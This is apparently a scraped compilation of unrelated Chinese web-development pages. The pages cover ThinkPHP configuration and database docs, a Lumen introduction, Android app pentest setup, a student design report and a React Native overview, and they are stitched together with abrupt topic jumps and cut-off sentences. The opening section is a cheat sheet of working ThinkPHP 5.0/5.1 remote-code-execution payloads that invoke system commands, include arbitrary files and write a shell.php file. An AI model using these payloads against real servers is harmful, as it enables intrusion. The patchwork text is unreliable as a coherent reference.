APP-D
Thinkphp5RCE总结
Thinkphp5RCE总结5最出名的就是,我先总结rce,rce有两个⼤版本的分别1. ThinkPHP 5.0-5.0.242. ThinkPHP 5.1.0-5.1.30因为漏洞触发点和版本的不同,导致payload分为多种,其中⼀些payload需要取决于debug选项⽐如直接访问路由触发的5.1.x :s=index/thinkRequest/input&filter[]=system&data=pwds=index/thinkviewdriverPhp/display&content=<php phpinfo();>s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<php phpinfo();>s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ids=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id5.0.x :s=index/thinkconfig/get&name=ername # 获取配置信息s=index/thinkLang/load&file=../../test.jpg # 包含任意⽂件s=index/thinkConfig/load&file=../../t.php # 包含任意.php⽂件s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ids=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami还有⼀种http://php.local/thinkphp5.0.5/public/index.php?s=indexpost_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo_method=__construct&filter[]=system&method=GET&get[]=whoami# ThinkPHP <= 5.0.13POST /?s=index/indexs=whoami&_method=__construct&method=&filter[]=system# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debugPOST /_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captchaPOST /?s=xxx HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls可以看到payload分为两种类型,⼀种是因为Request类的method和__construct⽅法造成的,另⼀种是因为Request类在兼容模式下获取的控制器没有进⾏合法校验,我们下⾯分两种来讲,然后会将thinkphp5的每个⼩版本都测试下找下可⽤的payload。
TP6中数据库操作
TP6中数据库操作TP6中数据库操作要使⽤Db类必须使⽤门⾯⽅式(think\facade\Db)调⽤use think\facade\Db;⼀、数据库连接配置配置⽂件位于,config/database.php或者开发环境位于根⽬录下的 .env ⽂件APP_DEBUG = true[APP]DEFAULT_TIMEZONE = Asia/Shanghai[DATABASE]TYPE = mysql//数据库类型HOSTNAME = 127.0.0.1 //连接地址DATABASE = test //数据库名称USERNAME = username //数据库⽤户名PASSWORD = password //数据库密码HOSTPORT = 3306 //端⼝CHARSET = utf8 //字符集DEBUG = true//是否开启debug[LANG]default_lang = zh-cn动态配置数据库连接查询\think\facade\Db::connect('demo')->table('user')->find();数据模型中定义connection属性protected$connection = 'demo';ThinkPHP的数据库连接是惰性的,只有实际的数据操作的时候才会去连接数据库。
⼆、数据库分布式⽀持如果需要⽀持分布式数据库,包括读写分离,需要设置配置参数 deploy 的值为 1// 启⽤分布式数据库'deploy' => 1,'hostname' => '192.168.1.1,192.168.1.2', //默认情况下第⼀个地址就是主服务器// 数据库⽤户名'username' => 'root,slave,slave',// 数据库密码'password' => '123456',关于 hostname,username,password,hostport,database,dsn,charset 要么值相同就配置⼀个,不然就分别设置建议使⽤数组定义参数,例如:'hostname' =>[ '192.168.1.1','192.168.1.2','192.168.1.3'],'password' => ['123456','abc,def','hello']三、数据库⽀持读写分离开启读写分类配置:'rw_separate' => true,默认第⼀个是主数据库,负责写⼊数据。
《基于ThinkPHP的鲜花网站》设计报告参考资料
《网页设计与网站建设》设计报告学院:电子商务学院专业:电子商务班级:姓名:彭秋雨学号:成绩:基于ThinkPHP框架的鲜花网站设计http://localhost/Flower2/index.php/Index/index (项目名/入口文件/控制器/方法)http://localhost/Flower2/1 基于MVC模式的ThinkPHP框架1.1 关于MVC框架ThinkPHP(以下简称TP)是PHP的一个免费的面向对象的轻量级的开源开发框架,是为简化企业的Web应用开发而诞生的。
使用TP,你可以更方便和快捷地开发和部署Web 应用。
TP采用模块和操作的方式来执行。
用户的请求会通过入口文件生成一个应用实例,应用控制器(也称核心控制器)会管理整个用户执行的过程,并负责模块的调度和操作的执行,并且在最后销毁该应用实例。
TP 是基于MVC设计模式的。
MVC只是一个抽象的概念,倡导将应用程序的逻辑层和表现层进行分离。
TP中的MVC分层大致体现在:●模型(M):模型的定义由Model类来完成;●控制器(C):应用控制器(核心控制器App类)和Action控制器都承担了控制器的角色,Action控制器完成业务过程控制,而应用控制器负责调度控制;●视图(V):由View类和模板文件组成,模板做到了与程序的100%分离,可以独立预览和制作。
引入TP框架后,对于客户端的HTTP请求,PHP网站的App应用控制器(对应于C 层)接收后,调用相应的Action控制器,其处理过程包含对M层(数据库访问)及V层(模板解析)的调用,最后返回客户端HTML代码。
注意:TP并不依赖M或者V ,也就是说没有模型或者视图也一样可以工作。
TP甚至也不依赖C,这是因为TP在Action之上还有一个总控制器,即App控制器,负责应用的总调度。
在没有C的情况下,必然存在视图V,否则就不再是一个完整的应用。
引入TP框架后PHP网站工作流程图1.2 ThinkPHP框架及其主要类(含方法)ThinkPHP(以下简称TP)是PHP的一个免费的面向对象的轻量级的开源开发框架,是为简化企业的Web应用开发而诞生的。
Lumen 1.0 中文文档 (锐壳科技)
Lumen 1.0Lumen 1.0 中文文档由锐壳科技带CDN的虚拟主机提供。
-------/docs/introduction/Lumen 是什么?何时应该用 Lumen?Lumen 包含了 Laravel 的那些特性?LumenLumen 是一个“微框架”,基于 Laravel 组件构建,是 Laravel 官方支持的微框架。
Lumen 诞生的目的是更快的执行速度,它是目前所有微框架中速度最快的一个 -- 甚至明显快于同类框架,例如Silex。
然而,和其他微框架不同的是,Lumen 能够让你利用 Laravel 框架的强大功能,例如 路由(routing)、依赖注入(dependency injection)、Eloquent ORM、数据库迁移(migrations)、队列任务(queued jobs),甚至定时指令(scheduled commands)。
Laravel 已经很快、很强大了,但是 Lumen 去除掉了 Laravel 所提供的很多配置和定制选项,为的就是尽可能地减少后台服务的加载时间。
Lumen 超快的执行速度与 Laravel 提供的方便特性相结合,让你能够同时享受到“微框架”与“宏框架”两者的优点,让开发工作更愉快。
LumenLumen 的设计目的是为了构建超级快速的微服务(micro-services)和API服务的。
例如,如果你的Laravel 应用程序中的某个部分承受着大大高于其他部分的工作负荷,你可以选择将这部分功能构建为一个小型、独立的 Lumen 应用程序。
通过减少 Laravel 主应用程序的负荷,能够减少对服务器的需求量,因为基于 Lumen 构建的应用程序对服务器的需求明显少于 Laravel。
当然,Lumen 应用程序可以管理队列任务从而让 Laravel 主应用程序去处理。
Laravel 和 Lumen 是一对最佳拍档,联合使用时能帮你构建强大、微服务(micro-service)驱动的应用程序。
让tp6显示详细的错误信息及行号
让tp6显⽰详细的错误信息及⾏号
⽅法⼀:
默认情况下Ttp6不会显⽰错误信息,在开发环境下想要查看错误信息需要将Config⽬录下的app.php⽂件的show_error_msg改成true
但是这样显⽰的信息也不够完整,
要看到更多信息需要我们开启DEBUG,tp6模仿了Laravel,我们使⽤composer下载完tp框架后可以看到框架⼀级⽂件夹⾥⾯有
个“.example.env”,我们复制这个⽂件,将其改名为“.env”,点号开头的⽂件在Linux系统中属于隐藏⽂件,我们需要查看其是否存在可以使⽤命令“ls -a”查看,我们只需要将其中的“APP_DEBUG”的值修改成“true”即可
⽅法⼆:
如果修改这个配置的⽅法不⾏的话可以使⽤tp6提供的应⽤服务类开启DEBUG。
找到App⽬录下的AppService.php⽂件在boot⽅法内加上$this->app->debug(true);即可
这样我们就可以看到更完善的错误信息了
记住在项⽬上线前记得把debug关掉,否则很容易泄露服务器信息。
将true改为false即可关闭debug。
ThinkPHP笔记完全配置参考手册
ThinkPHP笔记——完全配置参考手册ThinkPHP2.0配置CHECK_FILE_CASE -- windows环境下面的严格检查大小写。
/* 项目设定*/'APP_DEBUG' => false, // 是否开启调试模式'APP_DOMAIN_DEPLOY' => false, // 是否使用独立域名部署项目'APP_PLUGIN_ON' => false, // 是否开启插件机制'APP_FILE_CASE' => false, // 是否检查文件的大小写对Windows平台有效'APP_GROUP_DEPR' => '.', // 模块分组之间的分割符'APP_GROUP_LIST' => '', // 项目分组设定,多个组之间用逗号分隔,例如'Home,Admi n''APP_AUTOLOAD_REG' => false, // 是否开启SPL_AUTOLOAD_REGISTER'APP_AUTOLOAD_PATH' => 'Think.Util.',// __autoLoad 机制额外检测路径设置,注意搜索顺序'APP_CONFIG_LIST' => array('taglibs','routes','tags','htmls','modules','actions'),// 项目额外需要加载的配置列表,默认包括:taglibs(标签库定义),routes(路由定义),tags(标签定义),(ht mls)静态缓存定义, modules(扩展模块),actions(扩展操作)/* Cookie设置*/'COOKIE_EXPIRE' => 3600, // Coodie有效期'COOKIE_DOMAIN' => '', // Cookie有效域名'COOKIE_PATH' => '/', // Cookie路径'COOKIE_PREFIX' => '', // Cookie前缀避免冲突/* 默认设定*/'DEFAULT_APP' => '@', // 默认项目名称,@表示当前项目'DEFAULT_GROUP' => 'Home', // 默认分组'DEFAULT_MODULE' => 'Index', // 默认模块名称'DEFAULT_ACTION' => 'index', // 默认操作名称'DEFAULT_CHARSET' => 'utf-8', // 默认输出编码'DEFAULT_TIMEZONE' => 'PRC', // 默认时区'DEFAULT_AJAX_RETURN' => 'JSON', // 默认AJAX 数据返回格式,可选JSON XML ...'DEFAULT_THEME' => 'default', // 默认模板主题名称'DEFAULT_LANG' => 'zh-cn', // 默认语言/* 数据库设置*/'DB_TYPE' => 'mysql', // 数据库类型'DB_HOST' => 'localhost', // 服务器地址'DB_NAME' => '', // 数据库名'DB_USER' => 'root', // 用户名'DB_PWD' => '', // 密码'DB_PORT' => 3306, // 端口'DB_PREFIX' => 'think_', // 数据库表前缀'DB_SUFFIX' => '', // 数据库表后缀'DB_FIELDTYPE_CHECK' => false, // 是否进行字段类型检查'DB_FIELDS_CACHE' => true, // 启用字段缓存'DB_CHARSET' => 'utf8', // 数据库编码默认采用utf8'DB_DEPLOY_TYPE' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)'DB_RW_SEPARATE' => false, // 数据库读写是否分离主从式有效/* 数据缓存设置*/'DATA_CACHE_TIME' => -1, // 数据缓存有效期'DATA_CACHE_COMPRESS' => false, // 数据缓存是否压缩缓存'DATA_CACHE_CHECK' => false, // 数据缓存是否校验缓存'DATA_CACHE_TYPE' => 'File', // 数据缓存类型,支持:File|Db|Apc|Memcache|Shmop|Sqli te| Xcache|Apachenote|Eaccelerator'DATA_CACHE_PATH' => TEMP_PATH,// 缓存路径设置(仅对File方式缓存有效)'DATA_CACHE_SUBDIR' => false, // 使用子目录缓存(自动根据缓存标识的哈希创建子目录) 'DATA_PATH_LEVEL' => 1, // 子目录缓存级别/* 错误设置*/'ERROR_MESSAGE' => '您浏览的页面暂时发生了错误!请稍后再试~',//错误显示信息,非调试模式有效'ERROR_PAGE' => '', // 错误定向页面/* 静态缓存设置*/'HTML_CACHE_ON' => false, // 默认关闭静态缓存'HTML_CACHE_TIME' => 60, // 静态缓存有效期'HTML_READ_TYPE' => 0, // 静态缓存读取方式0 readfile 1 redirect'HTML_FILE_SUFFIX' => '.shtml',// 默认静态文件后缀/* 语言设置*/'LANG_SWITCH_ON' => false, // 默认关闭多语言包功能'LANG_AUTO_DETECT' => true, // 自动侦测语言开启多语言功能后有效/* 日志设置*/'LOG_RECORD' => false, // 默认不记录日志'LOG_FILE_SIZE' => 2097152, // 日志文件大小限制'LOG_RECORD_LEVEL' => array('EMERG','ALERT','CRIT','ERR'),// 允许记录的日志级别/* 分页设置*/'PAGE_ROLLPAGE' => 5, // 分页显示页数'PAGE_LISTROWS' => 20, // 分页每页显示记录数/* SESSION设置*/'SESSION_AUTO_START' => true, // 是否自动开启Session// 内置SESSION类可用参数//'SESSION_NAME' => '', // Session名称//'SESSION_PATH' => '', // Session保存路径//'SESSION_CALLBACK' => '', // Session 对象反序列化时候的回调函数/* 运行时间设置*/'SHOW_RUN_TIME' => false, // 运行时间显示'SHOW_ADV_TIME' => false, // 显示详细的运行时间'SHOW_DB_TIMES' => false, // 显示数据库查询和写入次数'SHOW_CACHE_TIMES' => false, // 显示缓存操作次数'SHOW_USE_MEM' => false, // 显示内存开销'SHOW_PAGE_TRACE' => false, // 显示页面Trace信息由Trace文件定义和Action操作赋值'SHOW_ERROR_MSG' => true, // 显示错误信息/* 模板引擎设置*/'TMPL_ENGINE_TYPE' => 'Think', // 默认模板引擎以下设置仅对使用Think模板引擎有效'TMPL_DETECT_THEME' => false, // 自动侦测模板主题'TMPL_TEMPLATE_SUFFIX' => '.html', // 默认模板文件后缀'TMPL_CACHFILE_SUFFIX' => '.php', // 默认模板缓存后缀'TMPL_DENY_FUNC_LIST' => 'echo,exit', // 模板引擎禁用函数'TMPL_PARSE_STRING' => '', // 模板引擎要自动替换的字符串,必须是数组形式。
androidmanifest 配置条件语句
androidmanifest 配置条件语句在AndroidManifest.xml文件中,可以使用条件语句来根据不同的条件配置不同的项。
常用的条件语句有以下几种:1. 使用`manifest`元素的`package`属性来配置包名的条件语句。
例如:xml<manifest xmlns:android="package="com.example.app.{buildType}">...</manifest>上述示例中,`{buildType}`是一个占位符,可以根据实际的构建类型来替换。
例如,如果构建类型是`debug`,那么最终的包名就是`com.example.app.debug`。
2. 使用`uses-permission`元素的`android:name`属性来配置权限的条件语句。
例如:xml<uses-permission android:name="android.permission.{permission}" />上述示例中,`{permission}`是一个占位符,可以根据实际的权限名称来替换。
例如,如果权限是`READ_EXTERNAL_STORAGE`,那么最终的配置就是`<uses-permissionandroid:name="android.permission.READ_EXTERNAL_STORAGE" />`。
3. 使用`application`元素的`android:debuggable`属性来配置调试模式的条件语句。
例如:xml<applicationandroid:name=".MyApplication"android:label="@string/app_name"android:debuggable="{isDebug}">...</application>上述示例中,`{isDebug}`是一个占位符,可以根据实际的调试模式来替换。
thinkphp学习笔记
一、框架文件介绍二、创建应用1.在项目目录创建入口文件2.创建虚拟主机,访问应用三、路由形式1.什么是路由答:系统从URl参数中分析出当前请求分组、控制器和操作的过程就是“路由”。
2.Tp框架路由共有4种形式①基本get形式http://网址/index.php?m=分组&c=控制器&a=操作方法该方式是最底层的get形式、传统的参数传递方式,不时尚、不安全。
②pathinfo路径形式[默认方式]http://网址/index.php/分组/控制器/操作方法http://网址/index.php/Home/Index/advert③rewrite重写形式(伪静态技术)省略index.php入口文件http://网址/分组/控制器/操作方法http://网址/Home/Index/index④兼容形式http://网址/index.php?s=/分组/控制器/操作方法http://网址/index.php?s=/Home/Index/advert以上四种形式除了第③种,其他的url模式都可以使用四、创建控制器五、View视图模板入口程序文件index.php路由解析(控制器、操作方法)1.简单模板view调用$this->display(); //模板名称及当前控制器、当前操作方法的名称一致$this->display(模板名称); //调用当前控制器对应目录指定名称的模板$this->display(控制器/模板名称); //调用其他控制器下的具体模板文件Tp框架有两种模式:开发(调式)、生产【默认】生产模式:错误提示模糊开发模式:错误提示友好define(‘APP_DUBUG’ ,true); //开发define(‘APP_DUBUG’ ,false); //生产2.已有模板及tp框架做结合具体实现步骤:A.复制模板文件到View指定目录B.复制css、img、js静态文件到系统指定目录C.把静态资源(css、img、js)文件的路径设置为“常量”信息(在index入口文件设置)D.在模板文件中通过常量引入静态资源(css、img、js)文件,路径相对入口文件设置最好设置绝对地址(相对工作站点虚拟主机目录的绝对地址)为了后期模板维护方便,通过常量设置静态资源文件访问目录地址E.css文件本身的图片设置,其路径相对c ss文件本身设置后续a、d重复实现即可2.1静态资源文件引入2.2静态资源文件存放①通过独立路由可以访问②不要暴露太多目录信息在模板index.html里边引入css文件,相对地址为什么相对index.php入口文件设置?Index.php+Controller控制器+模板文件==混编文件引入css文件2.3 css文件引入图片路径设置绝对、相对地址:一个文件引入另一个文件,另一个文件的相对地址就相对引入文件设置。
android渗透培训--apk渗透测试方法-基础
android渗透培训--apk渗透测试方法-基础安卓App渗透测试方法--基础1.基本设置1.1 ADB连接:模拟器自带开启ADB服务,电脑使用 adb devcies 即可查看存在的模拟器1.1.1.手机WIFI(1)准备条件:手机必须已经root,下载一个终端模拟器用于输入命令。
(2)手机接入wifi。
(3)运行终端模拟器开始绑定adb端口,依次输入以下命令:susetprop service.adb.tcp.port 5555stop adbdstart adbd(4)获取手机内网IP,可以直接在终端模拟器输入 netcfg /ip a 来查看,或者通过你的wifi管理后台查看。
1.1.2电脑adb connect 172.17.233.2:5555adb devicesadb shell安装软件将apk放到platform文件夹中(可将adb加入系统环境变量,就不必每次切换到platform目录)adb install aa.apk1.2设置代理1.2.1模拟器-设置emulator代理:emulator.exe -http-proxy 127.0.0.1:8888 @Android422错误提示:FATAL:.//android/base/sockets/SocketWaiter.cpp:88:Check failed: isValidFd(fd). fd 1032 max1024解决方法:添加-no-audioemulator.exe -http-proxy 127.0.0.1:8888 -no-audio @Android422或虚拟机内设置代理setting--APN10.0.2.2:88881.2.2 手机wifi设置代理setting-wifi-修改-代理-手动主机名:电脑ip 端口:88882.渗透测试工具配置2.1 drozer 配置adb forward tcp:31415 tcp:31415 //drozer的端口是31415,所以要做端口转发然后在模拟器上运行droxer Agent,打开drozer 服务(需要安装drozer-agent apk)drozer console connect 手机ip //drozer 连接注:除了drozer,渗透测试框架还有:mercury,appie等,使用方法类似。
ThinkPHP3.2.3使用cli命令行模式
}
3.命令行执行
cd /home/www/mygit/API /home/system/php/bin/php Cron/cli.php /home/Cron/updateStatus
注/home/www/mygit/API是站点根目录,define('APP_PATH', './Api/');是相对根目录,/home是项目组
// 引入ThinkPHP入口文件 require 'ThinkPHP/ThinkPHP.php';
2.自动执行脚本
<?php /** * 自动执行脚本
*/
<?php namespace Home\Controller;
class cronController extends CommonController {
public function __construct () { parent::__construct ( true );
}
public function updateStatusAction() {
if (IS_CLI) { $model = D('MediaAudit', 'Logic'); $model->updateStatus($v)
登录后才能查看或发表评论立即登录或者逛逛博客园首页
ThinkPHP3.2.3使用 cli命令行模式
1.创建一个cli.php文件,是一个入口文件,相当于index.php
<?php if (version_compare(PHP_VERSION, '5.3.0', '<')) di!'); // 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false define('APP_DEBUG', TRUE);
认识:ThinkPHP的编译缓存文件~runtime.php
认识:ThinkPHP的编译缓存⽂件~runtime.php1.定义单⼊⼝⽂件(index.php)在单⼊⼝index.php中不定义这两项时,会⽣成编译缓存⽂件~runtime.phpdefine('RUNTIME_PATH','./App/Temp/'); //定义编译⽬录define('APP_DEBUG',TRUE); //开启调试模式上述两⾏不能在index.php中作⽤,则index.php变为1 <?php2define('APP_NAME','App'); //项⽬名称3define('APP_PATH','./App/'); //项⽬路径4include './ThinkPHP/ThinkPHP.php'; //引⼊ThinkPHP核⼼运⾏⽂件5 ?>2.⽣成编译缓存⽂件(~runtime.php)3.复制~runtime.php中的全部内容到index.php中,运⾏效果会和之前⼀样。
~runtime.php中缓存的编译内容,相当于把index.php引导的所有操作全部集成到~runtime.php⽂件中。
有了这个缓存的编译⽂件,index.php在下次运⾏时,不再引导,⽽是直接检测是否存在~runtime.php编译缓存⽂件,如果在,则直接运⾏~runtime.php。
其他详解()项⽬编译机制是指系统第⼀次运⾏的时候会⾃动⽣成核⼼缓存⽂件~runtime.php和项⽬编译缓存⽂件~app.php。
这些编译缓存⽂件把核⼼和项⽬必须的⽂件打包到⼀个⽂件中,并且去掉所有空⽩和注释代码,因为存在⼀个预编译的过程,所以还会进⾏⼀些相关的⽬录检测,对于不存在的⽬录可以⾃动⽣成,这个⾃动⽣成机制后⾯还会提到。
当第⼆次执⾏的时候就会直接载⼊编译过的缓存⽂件,从⽽省去很多IO开销,加快执⾏速度。
ThinkPHP实现微信支付(jsapi支付)流程教程详解
ThinkPHP实现微信⽀付(jsapi⽀付)流程教程详解之前写过⼀篇⽂章讲了,详见⽂章:。
当时的环境是没有使⽤框架的,直接在⼀个域名指向的⽬录下边新建⽬录之后访问该⽬录实现的,但应⽤到框架中,还是有⼀些问题,在ThinkPHP中,由于路由规则与⽀付授权⽬录有出⼊,所以会报错。
本篇讲讲在TP中集成微信⽀付的流程。
鹅⼚出的SDK和⽂档,就是让你看不懂,使劲绕,这酸爽⽤了就知道。
⽂档和SDK不是应该越简单通俗易懂越好么?难道只有使劲重构才能显⽰出鹅⼚程序猿技术的⾼超咩?额...是不是暴露了我菜鸟的属性...其实SDK蛮好⽤,只是上⼀篇⽂章中也看到了,在⽀付完成回调函数中,着实让⼈绕的晕头转向。
我⾃⼰还是皱着眉头,使⽤了官⽅的SDK,也成功实现了⽀付,下⾯跟⼤家分享⼀下流程:1.SDK下载和修改这个就不过多讲了,不知道的可以看看我的上⼀篇⽂章:,⾥边详细详述了下载下来的⽂件哪些是需要修改的。
2.公众号设置A. 还是需要设置⽹页授权域名,这个没啥特殊的;3.⽀付流程(1)统⼀下单下单的⽀付参数配置,这个跟上⼀篇讲的基本不变,重点注意的是⽀付回调验证链接,因为要多次调⽤,我就直接在Application/Common/Common/function.php中将参数配置封装起来了,我的SDK放在项⽬根⽬录下的Api⽬录下,所以引⼊SDK的时候不是使⽤Vendor函数。
/*** 微信⽀付* @param string $openId openid* @param string $goods 商品名称* @param string $attach 附加参数,我们可以选择传递⼀个参数,⽐如订单ID* @param string $order_sn 订单号* @param string $total_fee ⾦额*/function wxpay($openId,$goods,$order_sn,$total_fee,$attach){require_once APP_ROOT."/Api/wxpay/lib/WxPay.Api.php";require_once APP_ROOT."/Api/wxpay/payment/WxPay.JsApiPay.php";require_once APP_ROOT.'/Api/wxpay/payment/log.php';//初始化⽇志$logHandler= new CLogFileHandler(APP_ROOT."/Api/wxpay/logs/".date('Y-m-d').'.log');$log = Log::Init($logHandler, 15);$tools = new JsApiPay();if(empty($openId)) $openId = $tools->GetOpenid();$input = new WxPayUnifiedOrder();$input->SetBody($goods); //商品名称$input->SetAttach($attach); //附加参数,可填可不填,填写的话,⾥边字符串不能出现空格$input->SetOut_trade_no($order_sn); //订单号$input->SetTotal_fee($total_fee); //⽀付⾦额,单位:分$input->SetTime_start(date("YmdHis")); //⽀付发起时间$input->SetTime_expire(date("YmdHis", time() + 600));//⽀付超时$input->SetGoods_tag("test3");//$input->SetNotify_url("http://".$_SERVER['HTTP_HOST']."/payment.php"); //⽀付回调验证地址$input->SetNotify_url("http://".$_SERVER['HTTP_HOST']."/payment.php/WexinApi/WeixinPay/notify");$input->SetTrade_type("JSAPI"); //⽀付类型$input->SetOpenid($openId); //⽤户openID$order = WxPayApi::unifiedOrder($input); //统⼀下单$jsApiParameters = $tools->GetJsApiParameters($order);return $jsApiParameters;}注意,注意,敲⿊板划重点了:⽀付回调验证链接,必须是没有权限验证的,如果你⾃⼰访问那个链接,还需要登录注册验证的,就不要尝试了,必须要可以⽆障碍访问的链接,⽽且也不要有⼀连串的参数传递。
宏命名规则
宏命名规则宏命名规则1. 选择合适的宏名•宏名应具有描述性,能清晰地表达宏的目的和功能。
•避免使用过于简单或晦涩的宏名,以提升可读性。
•使用英文单词或常用的缩写,避免使用拼音或难以理解的缩写。
例如:# define MAX_NUM 100# define PI# define ENABLE_DEBUG2. 统一使用大写字母和下划线•宏名应全部使用大写字母,并使用下划线分隔单词,以增强可读性。
•下划线可作为字母之间的分隔符,不应出现在宏名的开头或结尾。
例如:# define MAX_NUM 100# define ENABLE_DEBUG3. 避免与已定义的宏名冲突•在定义宏之前,应先检查系统或已有代码中是否已经定义了同名的宏。
•若宏名与已有的宏名冲突,可尝试添加前缀或后缀进行区分。
例如:# define MY_APP_DEBUG# define MY_APP_MAX_LIMIT 1004. 宏名不宜过长•长度适中的宏名易于阅读和编写。
•长度过长的宏名可能导致代码整体可读性下降。
例如:# define MAX_NUM 100# define MAXIMUM_NUMBER_ALLOWED 1005. 宏名不能与变量名混淆•宏名应与变量名有明显区别,以避免混淆。
•建议遵循一定的命名规则,如在宏名前添加”_“或其他特殊字符。
例如:int value = 10;# define _VALUE 206. 避免使用潜在的危险宏名•一些宏名可能与编译器或库函数的定义相冲突,应避免使用这些宏名。
•避免使用以双下划线开头或具有双下划线的宏名。
例如:# define __MY_MACRO__ // 避免使用双下划线定义宏总结: - 使用描述性、具有阅读性的宏名; - 统一使用大写字母和下划线; - 避免与已定义的宏名冲突; - 宏名长度适中; - 宏名与变量名有明显区别; - 避免使用潜在的危险宏名。
以上是宏命名的相关规则,遵循这些规则可以提升代码的可读性和可维护性。
Android判断是开发debug模式,还是发布release模式的方法
Android判断是开发debug模式,还是发布release模式的⽅法如下所⽰:public class LogUtils {public static boolean APP_DBG = false; // 是否是debug模式public static void init(Context context){APP_DBG = isApkDebugable(context);}/*** 但是当我们没在AndroidManifest.xml中设置其debug属性时:* 使⽤Eclipse运⾏这种⽅式打包时其debug属性为true,使⽤Eclipse导出这种⽅式打包时其debug属性为法false.* 在使⽤ant打包时,其值就取决于ant的打包参数是release还是debug.* 因此在AndroidMainifest.xml中最好不设置android:debuggable属性置,⽽是由打包⽅式来决定其值.** @param context* @return* @author SHANHY* @date 2015-8-7*/public static boolean isApkDebugable(Context context) {try {ApplicationInfo info= context.getApplicationInfo();return (info.flags&ApplicationInfo.FLAG_DEBUGGABLE)!=0;} catch (Exception e) {}return false;}}项⽬开发中,我们根据debug属性来输出⽇志。
但是有些时候我们想在给公司的测试机上安装的release版本也输出⽇志,那么这个时候我们到 AndroidManifest.xml 中的application 标签中添加属性强制设置debugable即可,如下:<application android:debuggable="true" tools:ignore="HardcodedDebugMode"........ />init ⽅法在客户端的第⼀个Activity的onCreate⽅法中执⾏⼀下即可。
RN概述——精选推荐
RN概述⼀、RN概述ReactNative:使⽤JS语法编写移动APP应⽤,RN会把JS转换为底层Java或OC,最终运⾏于⼿机-------完全不依赖于浏览器或者WebView组件!搭建RN应⽤开发环境:①下载并安装全局脚⼿架⼯具npm i -g react-native-cli②运⾏脚⼿架⼯具,创建出空⽩项⽬react-native init 项⽬名③在PC上下载并安装原⽣Android或IOS开发环境,编译当前项⽬得到APP安装程序包---详情参见⼿册创建客户端安装程序安卓开发需要: Windows + Android Atudio + Aandroid SDKIOS开发需要:Mac OS + XCode最后在项⽬根⽬录下得到:android\app\build\outputs\apk\debug\app-debug.apk⽂件-------AndroidApp的安装程序,需要把此APK⽂件安装到真实⼿机或者模拟⼿机中④进⼊空⽩项⽬,运⾏其中的开发服务器-----------PC机⽬前是服务器cd 项⽬⽬录npm start⑤使⽤真实⼿机/模拟器访问测试-----------Android系统是客户端Windows服务器的IP地址:端⼝号(8081)查看Windows服务器的IP地址:cmd >ipconfig复习:WebView⽅案:Vue.js + MintUI混编⽅案:Angular + lonicJSBridge⽅案:React + ReactNative1.ReactNative概述RN本质是⼀种JSBridge⽅案,代码使⽤JS/React来编写,RN会将这些代码转换为Android/Java或者iOS/OC,最后运⾏在⼿机端.优势:⼀套代码到处运⾏;运⾏效率⾼;功能丰富;不⾜:原⽣Android和IOS默认组件效果不⼀致,⾮要相同只能深度定制.提⽰:语法是React语法,采⽤组件化编程;可以使⽤的组件要么是⽤户⾃定义的组件,要么是RN预定义的组件,如<View/>、<Text/>、<Image/>等,不能使⽤任何HTML标签组件-----底层没有浏览器!官⽹:中⽂⽹:搭建RN开发运⾏环境:前提:Windows系统(服务器) + Android⼿机或模拟器MacOS系统(服务器) + IOS⼿机或模拟器(客户端)①下载并安装全局脚⼿架⼯具②运⾏脚⼿架⼯具创建空⽩项⽬③在PC上下载并安装Android或IOS开发环境,编译当前项⽬得到APP安装程序包.------详情参见⼿册此⽬录会⽣成:项⽬⽬录\android\app\build\outputs\apk\debug\app-debug.apk④进⼊空⽩项⽬并运⾏其中的开发服务器cd 项⽬名npm start⑤在⼿机上安装APP安装包,远程访问PC服务器注意:开发服务器命令⾏界⾯千万不要⽤⿏标选中任何内容!如果选中了客户端⼿机APP⽆法得到更新后的内容!!⑤在⼿机上安装APP安装包,远程访问PC服务器.⼆、RN开发常见错误①点击APP图标,⽴即"此应⽤程序关闭"APP安装失败,只能卸载并重新安装;不⾏就重启⼀下模拟器再试试;再不⾏换⼀个其他版本的模拟器②点击APP图标,⼀⽚空⽩APP启动失败了,或者⽆法从服务器获取更新后内容;关闭APP程序,重新启动;同时必须保证服务器端控制台没有⽤⿏标选中任何内容③点APP图标,显⽰⿊⾊底红⾊错误信息APP设置有问题,或者服务器端代码有问题;仔细查看红⾊错误信息,从中找到解决⽅案常见APP红⾊错误:Unable to load Script....原因:APP⽆法从服务器加载更新后的内容解决办法:给APP重新设置服务器的主机名和端⼝号摇⼀摇 > Dev Settings > Debug Server host & port for device >输⼊完成后记得重启APP即可Could not cnnect to development server:原因:APP不能连接到开发服务器;可能原因:①开发服务器没有启动②没有正确查找到服务器的IP地址(正确的地址应该形如 172.x.x.x或者192.168.x.x)③APP没有正确的设置服务器IP和端⼝三、ReactNative中的组件样式编写提⽰:RN应⽤中没有浏览器,没有CSS解释器!RN样式有些名称类似CSS样式名称,但是本质完全不⼀样!!⽽且细节也不⼀样,例如borderColor、但是不存在border.①RN中的尺⼨都是数字类型,不能赋值为字符串!也没有单位!如 fontSize:14②RN中⽗元素的样式,不会继承给⼦元素--------每个元素的样式都由⾃⼰的style 完全控制,不需要叠加计算⽗元素的样式.⽅法⼀:⾏内样式<Any style={{ color:'red',padding:20 }}>⽅法⼆:外部样式let ss = StyleSheet.create({success:{ color: ' red ' }})<Any style={ ss.success }>也可以给⼀个组件指定多个样式对象------多个对象组成的数组:<Any style={ [ss.success,ss.textRight,{ fontSize:30 }] }>CSS:Cascading StyleSheet,层叠/级联样式表,⼦元素可以继承⽗元素的样式RN SS: StyleSheet,样式表,⼦元素不会继承⽗元素的样式四、ReactNative中的组件布局提⽰:RN中的组件没有"块级"和 